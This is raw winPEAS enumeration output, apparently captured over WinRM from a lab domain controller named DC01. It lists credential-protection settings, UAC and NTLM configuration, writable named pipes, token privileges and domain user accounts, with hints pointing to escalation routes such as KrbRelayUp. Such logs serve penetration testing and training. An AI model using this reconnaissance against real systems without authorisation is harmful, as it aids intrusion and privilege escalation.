WINRM       172.16.55.128   5985   DC01             È Windows Event Forwarding, is interesting to know were are sent the logs                                                                                   
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ LAPS Settings
WINRM       172.16.55.128   5985   DC01             È If installed, local administrator password is changed frequently and is restricted by ACL                                                                 
WINRM       172.16.55.128   5985   DC01                 LAPS Enabled: LAPS not installed
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Wdigest
WINRM       172.16.55.128   5985   DC01             È If enabled, plain-text crds could be stored in LSASS https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wdigest                                                                                                      
WINRM       172.16.55.128   5985   DC01                 Wdigest is not enabled
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ LSA Protection
WINRM       172.16.55.128   5985   DC01             È If enabled, a driver is needed to read LSASS memory (If Secure Boot or UEFI, RunAsPPL cannot be disabled by deleting the registry key) https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#lsa-protection             
WINRM       172.16.55.128   5985   DC01                 LSA Protection is not enabled
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Credentials Guard
WINRM       172.16.55.128   5985   DC01             È If enabled, a driver is needed to read LSASS memory https://book.hacktricks.wiki/windows-hardening/stealing-credentials/credentials-protections#credentials-guard                                                                                                 
WINRM       172.16.55.128   5985   DC01                 CredentialGuard is not enabled
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Cached Creds
WINRM       172.16.55.128   5985   DC01             È If &amp;gt; 0, credentials will be cached in the registry and accessible by SYSTEM user https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#cached-credentials                                                               
WINRM       172.16.55.128   5985   DC01                 cachedlogonscount is 10
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerating saved credentials in Registry (CurrentPass)                                                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ AV Information
WINRM       172.16.55.128   5985   DC01               [X] Exception: Invalid namespace 
WINRM       172.16.55.128   5985   DC01                 No AV was detected!!
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Windows Defender configuration
WINRM       172.16.55.128   5985   DC01               Local Settings
WINRM       172.16.55.128   5985   DC01               Group Policy Settings
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ UAC Status
WINRM       172.16.55.128   5985   DC01             È If you are in the Administrators group check how to bypass the UAC https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#from-administrator-medium-to-high-integrity-level--uac-bypasss                                 
WINRM       172.16.55.128   5985   DC01                 ConsentPromptBehaviorAdmin: 5 - PromptForNonWindowsBinaries                                                                                             
WINRM       172.16.55.128   5985   DC01                 EnableLUA: 1
WINRM       172.16.55.128   5985   DC01                 LocalAccountTokenFilterPolicy: 
WINRM       172.16.55.128   5985   DC01                 FilterAdministratorToken: 
WINRM       172.16.55.128   5985   DC01                   [*] LocalAccountTokenFilterPolicy set to 0 and FilterAdministratorToken != 1.                                                                         
WINRM       172.16.55.128   5985   DC01                   [-] Only the RID-500 local admin account can be used for lateral movement.                                                                            
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ PowerShell Settings
WINRM       172.16.55.128   5985   DC01                 PowerShell v2 Version: 2.0
WINRM       172.16.55.128   5985   DC01                 PowerShell v5 Version: 5.1.20348.1
WINRM       172.16.55.128   5985   DC01                 PowerShell Core Version: 
WINRM       172.16.55.128   5985   DC01                 Transcription Settings: 
WINRM       172.16.55.128   5985   DC01                 Module Logging Settings: 
WINRM       172.16.55.128   5985   DC01                 Scriptblock Logging Settings: 
WINRM       172.16.55.128   5985   DC01                 PS history file: 
WINRM       172.16.55.128   5985   DC01                 PS history size: 
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerating PowerShell Session Settings using the registry                                                                                     
WINRM       172.16.55.128   5985   DC01                   You must be an administrator to run this check
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ PS default transcripts history
WINRM       172.16.55.128   5985   DC01             È Read the PS history inside these files (if any)
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ HKCU Internet Settings
WINRM       172.16.55.128   5985   DC01                 CertificateRevocation: 1
WINRM       172.16.55.128   5985   DC01                 DisableCachingOfSSLPages: 0
WINRM       172.16.55.128   5985   DC01                 IE5_UA_Backup_Flag: 5.0
WINRM       172.16.55.128   5985   DC01                 PrivacyAdvanced: 1
WINRM       172.16.55.128   5985   DC01                 SecureProtocols: 10240
WINRM       172.16.55.128   5985   DC01                 User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
WINRM       172.16.55.128   5985   DC01                 ZonesSecurityUpgrade: System.Byte[]
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ HKLM Internet Settings
WINRM       172.16.55.128   5985   DC01                 ActiveXCache: C:\Windows\Downloaded Program Files
WINRM       172.16.55.128   5985   DC01                 CodeBaseSearchPath: CODEBASE
WINRM       172.16.55.128   5985   DC01                 EnablePunycode: 1
WINRM       172.16.55.128   5985   DC01                 MinorVersion: 0
WINRM       172.16.55.128   5985   DC01                 WarnOnIntranet: 1
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Drives Information
WINRM       172.16.55.128   5985   DC01             È Remember that you should search more info inside the other drives                                                                                         
WINRM       172.16.55.128   5985   DC01                 C:\ (Type: Fixed)(Filesystem: NTFS)(Available space: 41 GB)(Permissions: Users [Allow: AppendData/CreateDirectories])                                   
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Checking WSUS
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wsus                                                     
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Checking KrbRelayUp
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#krbrelayup                                               
WINRM       172.16.55.128   5985   DC01               The system is inside a domain (LOOKBACK) so it could be vulnerable.                                                                                       
WINRM       172.16.55.128   5985   DC01             È You can try https://github.com/Dec0ne/KrbRelayUp to escalate privileges                                                                                   
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Checking If Inside Container
WINRM       172.16.55.128   5985   DC01             È If the binary cexecsvc.exe or associated service exists, you are inside Docker                                                                            
WINRM       172.16.55.128   5985   DC01             You are NOT inside a container
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Checking AlwaysInstallElevated
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#alwaysinstallelevated                                    
WINRM       172.16.55.128   5985   DC01                 AlwaysInstallElevated isn&amp;#39;t available
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerate LSA settings - auth packages included                                                                                                
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 auditbasedirectories                 :       0
WINRM       172.16.55.128   5985   DC01                 auditbaseobjects                     :       0
WINRM       172.16.55.128   5985   DC01                 Bounds                               :       00-30-00-00-00-20-00-00                                                                                    
WINRM       172.16.55.128   5985   DC01                 crashonauditfail                     :       0
WINRM       172.16.55.128   5985   DC01                 fullprivilegeauditing                :       00
WINRM       172.16.55.128   5985   DC01                 LimitBlankPasswordUse                :       1
WINRM       172.16.55.128   5985   DC01                 NoLmHash                             :       1
WINRM       172.16.55.128   5985   DC01                 Security Packages                    :       &amp;quot;&amp;quot;
WINRM       172.16.55.128   5985   DC01                 Notification Packages                :       rassfm,scecli                                                                                              
WINRM       172.16.55.128   5985   DC01                 Authentication Packages              :       msv1_0                                                                                                     
WINRM       172.16.55.128   5985   DC01                 LsaPid                               :       652
WINRM       172.16.55.128   5985   DC01                 LsaCfgFlagsDefault                   :       0
WINRM       172.16.55.128   5985   DC01                 SecureBoot                           :       1
WINRM       172.16.55.128   5985   DC01                 ProductType                          :       7
WINRM       172.16.55.128   5985   DC01                 disabledomaincreds                   :       0
WINRM       172.16.55.128   5985   DC01                 everyoneincludesanonymous            :       0
WINRM       172.16.55.128   5985   DC01                 forceguest                           :       0
WINRM       172.16.55.128   5985   DC01                 restrictanonymous                    :       0
WINRM       172.16.55.128   5985   DC01                 restrictanonymoussam                 :       1
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerating NTLM Settings
WINRM       172.16.55.128   5985   DC01               LanmanCompatibilityLevel    :  (Send NTLMv2 response only - Win7+ default)                                                                                
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               NTLM Signing Settings
WINRM       172.16.55.128   5985   DC01                   ClientRequireSigning    : False
WINRM       172.16.55.128   5985   DC01                   ClientNegotiateSigning  : True
WINRM       172.16.55.128   5985   DC01                   ServerRequireSigning    : True
WINRM       172.16.55.128   5985   DC01                   ServerNegotiateSigning  : True
WINRM       172.16.55.128   5985   DC01                   LdapSigning             : Negotiate signing (Negotiate signing)                                                                                       
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Session Security
WINRM       172.16.55.128   5985   DC01                   NTLMMinClientSec        : 536870912 (Require 128-bit encryption)                                                                                      
WINRM       172.16.55.128   5985   DC01                   NTLMMinServerSec        : 536870912 (Require 128-bit encryption)                                                                                      
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               NTLM Auditing and Restrictions
WINRM       172.16.55.128   5985   DC01                   InboundRestrictions     :  (Not defined)
WINRM       172.16.55.128   5985   DC01                   OutboundRestrictions    :  (Not defined)
WINRM       172.16.55.128   5985   DC01                   InboundAuditing         :  (Not defined)
WINRM       172.16.55.128   5985   DC01                   OutboundExceptions      :
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Display Local Group Policy settings - local users/machine                                                                                      
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Potential GPO abuse vectors (applied domain GPOs writable by current user)                                                                     
WINRM       172.16.55.128   5985   DC01                 No obvious GPO abuse via writable SYSVOL paths or GPCO membership detected.                                                                             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Checking AppLocker effective policy
WINRM       172.16.55.128   5985   DC01                AppLockerPolicy version: 1
WINRM       172.16.55.128   5985   DC01                listing rules:
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerating Printers (WMI)
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerating Named Pipes
WINRM       172.16.55.128   5985   DC01               Name                                                                                                 CurrentUserPerms                                                       Sddl                                                                                  
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               eventlog                                                                                             Everyone [Allow: WriteData/CreateFiles]                                O:LSG:LSD:P(A;;0x12019b;;;WD)(A;;CC;;;OW)(A;;0x12008f;;;S-1-5-80-880578595-1860270145-482643319-2788375705-1540778122)
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               RpcProxy\49677                                                                                       Everyone [Allow: WriteData/CreateFiles]                                O:BAG:SYD:(A;;0x12019b;;;WD)(A;;0x12019b;;;AN)(A;;FA;;;BA)
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               RpcProxy\593                                                                                         Everyone [Allow: WriteData/CreateFiles]                                O:NSG:NSD:(A;;0x12019b;;;WD)(A;;RC;;;OW)(A;;0x12019b;;;AN)(A;;FA;;;S-1-5-80-521322694-906040134-3864710659-1525148216-3451224162)(A;;FA;;;S-1-5-80-979556362-403687129-3954533659-2335141334-1547273080)
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               sql\query                                                                                            Everyone [Allow: WriteData/CreateFiles]                                O:S-1-5-21-3830242231-3868280746-2763890440-1106G:DUD:(A;;0x12019b;;;WD)(A;;LC;;;S-1-5-21-3830242231-3868280746-2763890440-1106)
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               SQLLocal\MSSQLSERVER                                                                                 Everyone [Allow: WriteData/CreateFiles]                                O:S-1-5-21-3830242231-3868280746-2763890440-1106G:DUD:(A;;0x12019b;;;WD)(A;;LC;;;S-1-5-21-3830242231-3868280746-2763890440-1106)
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               vgauth-service                                                                                       Everyone [Allow: WriteData/CreateFiles]                                O:BAG:SYD:P(A;;0x12019f;;;WD)(A;;FA;;;SY)(A;;FA;;;BA)
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerating AMSI registered providers
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerating Sysmon configuration
WINRM       172.16.55.128   5985   DC01                   You must be an administrator to run this check
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerating Sysmon process creation logs (1)                                                                                                   
WINRM       172.16.55.128   5985   DC01                   You must be an administrator to run this check
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Installed .NET versions
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹ Interesting Events information ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ                                                  
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Printing Explicit Credential Events (4648) for last 30 days - A process logged on using plaintext credentials                                  
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                   You must be an administrator to run this check
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Printing Account Logon Events (4624) for the last 10 days.                                                                                     
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                   You must be an administrator to run this check
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Process creation events - searching logs (EID 4688) for sensitive data.                                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                   You must be an administrator to run this check
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ PowerShell events - script block logs (EID 4104) - searching for sensitive data.                                                               
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               [X] Exception: Attempted to perform an unauthorized operation.                                                                                            
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Displaying Power off/on events for last 5 days                                                                                                 
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             System.UnauthorizedAccessException: Attempted to perform an unauthorized operation.                                                                         
WINRM       172.16.55.128   5985   DC01                at System.Diagnostics.Eventing.Reader.EventLogException.Throw(Int32 errorCode)                                                                           
WINRM       172.16.55.128   5985   DC01                at System.Diagnostics.Eventing.Reader.NativeWrapper.EvtQuery(EventLogHandle session, String path, String query, Int32 flags)                             
WINRM       172.16.55.128   5985   DC01                at System.Diagnostics.Eventing.Reader.EventLogReader..ctor(EventLogQuery eventQuery, EventBookmark bookmark)                                             
WINRM       172.16.55.128   5985   DC01                at winPEAS.Helpers.MyUtils.GetEventLogReader(String path, String query, String computerName)                                                             
WINRM       172.16.55.128   5985   DC01                at winPEAS.Info.EventsInfo.Power.Power.&amp;lt;GetPowerEventInfos&amp;gt;d__0.MoveNext()                                                                               
WINRM       172.16.55.128   5985   DC01                at winPEAS.Checks.EventsInfo.PowerOnEvents()
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹ Users Information ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ                                                               
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Users
WINRM       172.16.55.128   5985   DC01             È Check if you have some admin equivalent privileges https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups                                                                                                  
WINRM       172.16.55.128   5985   DC01               [X] Exception: Object reference not set to an instance of an object.                                                                                      
WINRM       172.16.55.128   5985   DC01               Current user: administrator 
WINRM       172.16.55.128   5985   DC01               Current groups: Domain Users, Everyone, Builtin\Remote Management Users, Users, Builtin\Pre-Windows 2000 Compatible Access, Builtin\Certificate Service DCOM Access, Network, Authenticated Users, This Organization, IT, NTLM Authentication                     
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Current User Idle Time
WINRM       172.16.55.128   5985   DC01                Current User   :     LOOKBACK\administrator
WINRM       172.16.55.128   5985   DC01                Idle Time      :     03h:26m:17s:156ms
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Display Tenant information (DsRegCmd.exe /status)                                                                                              
WINRM       172.16.55.128   5985   DC01                Tenant is NOT Azure AD Joined.
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Current Token privileges
WINRM       172.16.55.128   5985   DC01             È Check if you can escalate privilege using some enabled token https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#token-manipulation                                                                                   
WINRM       172.16.55.128   5985   DC01                 SeMachineAccountPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
WINRM       172.16.55.128   5985   DC01                 SeChangeNotifyPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
WINRM       172.16.55.128   5985   DC01                 SeIncreaseWorkingSetPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Clipboard text
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Logged users
WINRM       172.16.55.128   5985   DC01               [X] Exception: Access denied 
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Display information about local users
WINRM       172.16.55.128   5985   DC01                Computer Name           :   DC01
WINRM       172.16.55.128   5985   DC01                User Name               :   Administrator
WINRM       172.16.55.128   5985   DC01                User Id                 :   500
WINRM       172.16.55.128   5985   DC01                Is Enabled              :   True
WINRM       172.16.55.128   5985   DC01                User Type               :   Administrator
WINRM       172.16.55.128   5985   DC01                Comment                 :   Built-in account for administering the computer/domain                                                                       
WINRM       172.16.55.128   5985   DC01                Last Logon              :   4/7/2026 7:37:27 PM
WINRM       172.16.55.128   5985   DC01                Logons Count            :   14
WINRM       172.16.55.128   5985   DC01                Password Last Set       :   10/17/2025 11:08:02 AM                                                                                                       
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                Computer Name           :   DC01
WINRM       172.16.55.128   5985   DC01                User Name               :   Guest
WINRM       172.16.55.128   5985   DC01                User Id                 :   501
WINRM       172.16.55.128   5985   DC01                Is Enabled              :   False
WINRM       172.16.55.128   5985   DC01                User Type               :   Guest
WINRM       172.16.55.128   5985   DC01                Comment                 :   Built-in account for guest access to the computer/domain                                                                     
WINRM       172.16.55.128   5985   DC01                Last Logon              :   1/1/1970 12:00:00 AM
WINRM       172.16.55.128   5985   DC01                Logons Count            :   0
WINRM       172.16.55.128   5985   DC01                Password Last Set       :   1/1/1970 12:00:00 AM
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                Computer Name           :   DC01
WINRM       172.16.55.128   5985   DC01                User Name               :   krbtgt
WINRM       172.16.55.128   5985   DC01                User Id                 :   502
WINRM       172.16.55.128   5985   DC01                Is Enabled              :   False
WINRM       172.16.55.128   5985   DC01                User Type               :   User
WINRM       172.16.55.128   5985   DC01                Comment                 :   Key Distribution Center Service Account                                                                                      
WINRM       172.16.55.128   5985   DC01                Last Logon              :   1/1/1970 12:00:00 AM
WINRM       172.16.55.128   5985   DC01                Logons Count            :   0
WINRM       172.16.55.128   5985   DC01                Password Last Set       :   10/16/2025 8:15:35 PM
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                Computer Name           :   DC01
WINRM       172.16.55.128   5985   DC01                User Name               :   hank
WINRM       172.16.55.128   5985   DC01                User Id                 :   1104
WINRM       172.16.55.128   5985   DC01                Is Enabled              :   True
WINRM       172.16.55.128   5985   DC01                User Type               :   User
WINRM       172.16.55.128   5985   DC01                Comment                 :
WINRM       172.16.55.128   5985   DC01                Last Logon              :   1/1/1970 12:00:00 AM
WINRM       172.16.55.128   5985   DC01                Logons Count            :   0
WINRM       172.16.55.128   5985   DC01                Password Last Set       :   10/19/2025 5:05:12 AM
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                Computer Name           :   DC01
WINRM       172.16.55.128   5985   DC01                User Name               :   lookback-admin
WINRM       172.16.55.128   5985   DC01                User Id                 :   1105
WINRM       172.16.55.128   5985   DC01                Is Enabled              :   True
WINRM       172.16.55.128   5985   DC01                User Type               :   User
WINRM       172.16.55.128   5985   DC01                Comment                 :
WINRM       172.16.55.128   5985   DC01                Last Logon              :   10/19/2025 5:48:29 AM
WINRM       172.16.55.128   5985   DC01                Logons Count            :   0
WINRM       172.16.55.128   5985   DC01                Password Last Set       :   10/19/2025 5:11:25 AM
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                Computer Name           :   DC01
WINRM       172.16.55.128   5985   DC01                User Name               :   db-admin
WINRM       172.16.55.128   5985   DC01                User Id                 :   1106
WINRM       172.16.55.128   5985   DC01                Is Enabled              :   True
WINRM       172.16.55.128   5985   DC01                User Type               :   User
WINRM       172.16.55.128   5985   DC01                Comment                 :
WINRM       172.16.55.128   5985   DC01                Last Logon              :   4/10/2026 8:51:59 PM
WINRM       172.16.55.128   5985   DC01                Logons Count            :   16
WINRM       172.16.55.128   5985   DC01                Password Last Set       :   10/19/2025 5:15:44 AM
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                Computer Name           :   DC01
WINRM       172.16.55.128   5985   DC01                User Name               :   Service_Maintainer
WINRM       172.16.55.128   5985   DC01                User Id                 :   1107
WINRM       172.16.55.128   5985   DC01                Is Enabled              :   True
WINRM       172.16.55.128   5985   DC01                User Type               :   User
WINRM       172.16.55.128   5985   DC01                Comment                 :
WINRM       172.16.55.128   5985   DC01                Last Logon              :   1/1/1970 12:00:00 AM
WINRM       172.16.55.128   5985   DC01                Logons Count            :   0
WINRM       172.16.55.128   5985   DC01                Password Last Set       :   10/19/2025 6:27:26 AM
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                Computer Name           :   DC01
WINRM       172.16.55.128   5985   DC01                User Name               :   IT-SEC-admin
WINRM       172.16.55.128   5985   DC01                User Id                 :   1110
WINRM       172.16.55.128   5985   DC01                Is Enabled              :   True
WINRM       172.16.55.128   5985   DC01                User Type               :   User
WINRM       172.16.55.128   5985   DC01                Comment                 :
WINRM       172.16.55.128   5985   DC01                Last Logon              :   4/10/2026 10:37:35 PM
WINRM       172.16.55.128   5985   DC01                Logons Count            :   0
WINRM       172.16.55.128   5985   DC01                Password Last Set       :   10/19/2025 7:11:48 AM
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                Computer Name           :   DC01
WINRM       172.16.55.128   5985   DC01                User Name               :   IT-admin
WINRM       172.16.55.128   5985   DC01                User Id                 :   1111
WINRM       172.16.55.128   5985   DC01                Is Enabled              :   True
WINRM       172.16.55.128   5985   DC01                User Type               :   User
WINRM       172.16.55.128   5985   DC01                Comment                 :
WINRM       172.16.55.128   5985   DC01                Last Logon              :   4/10/2026 11:38:55 PM
WINRM       172.16.55.128   5985   DC01                Logons Count            :   3
WINRM       172.16.55.128   5985   DC01                Password Last Set       :   4/10/2026 11:35:00 PM
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                Computer Name           :   DC01
WINRM       172.16.55.128   5985   DC01                User Name               :   administrator
WINRM       172.16.55.128   5985   DC01                User Id                 :   1112
WINRM       172.16.55.128   5985   DC01                Is Enabled              :   True
WINRM       172.16.55.128   5985   DC01                User Type               :   User
WINRM       172.16.55.128   5985   DC01                Comment                 :
WINRM       172.16.55.128   5985   DC01                Last Logon              :   4/10/2026 11:08:39 PM
WINRM       172.16.55.128   5985   DC01                Logons Count            :   4
WINRM       172.16.55.128   5985   DC01                Password Last Set       :   4/10/2026 10:42:35 PM
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                Computer Name           :   DC01
WINRM       172.16.55.128   5985   DC01                User Name               :   IT-email-admin
WINRM       172.16.55.128   5985   DC01                User Id                 :   1113
WINRM       172.16.55.128   5985   DC01                Is Enabled              :   True
WINRM       172.16.55.128   5985   DC01                User Type               :   User
WINRM       172.16.55.128   5985   DC01                Comment                 :
WINRM       172.16.55.128   5985   DC01                Last Logon              :   1/1/1970 12:00:00 AM
WINRM       172.16.55.128   5985   DC01                Logons Count            :   0
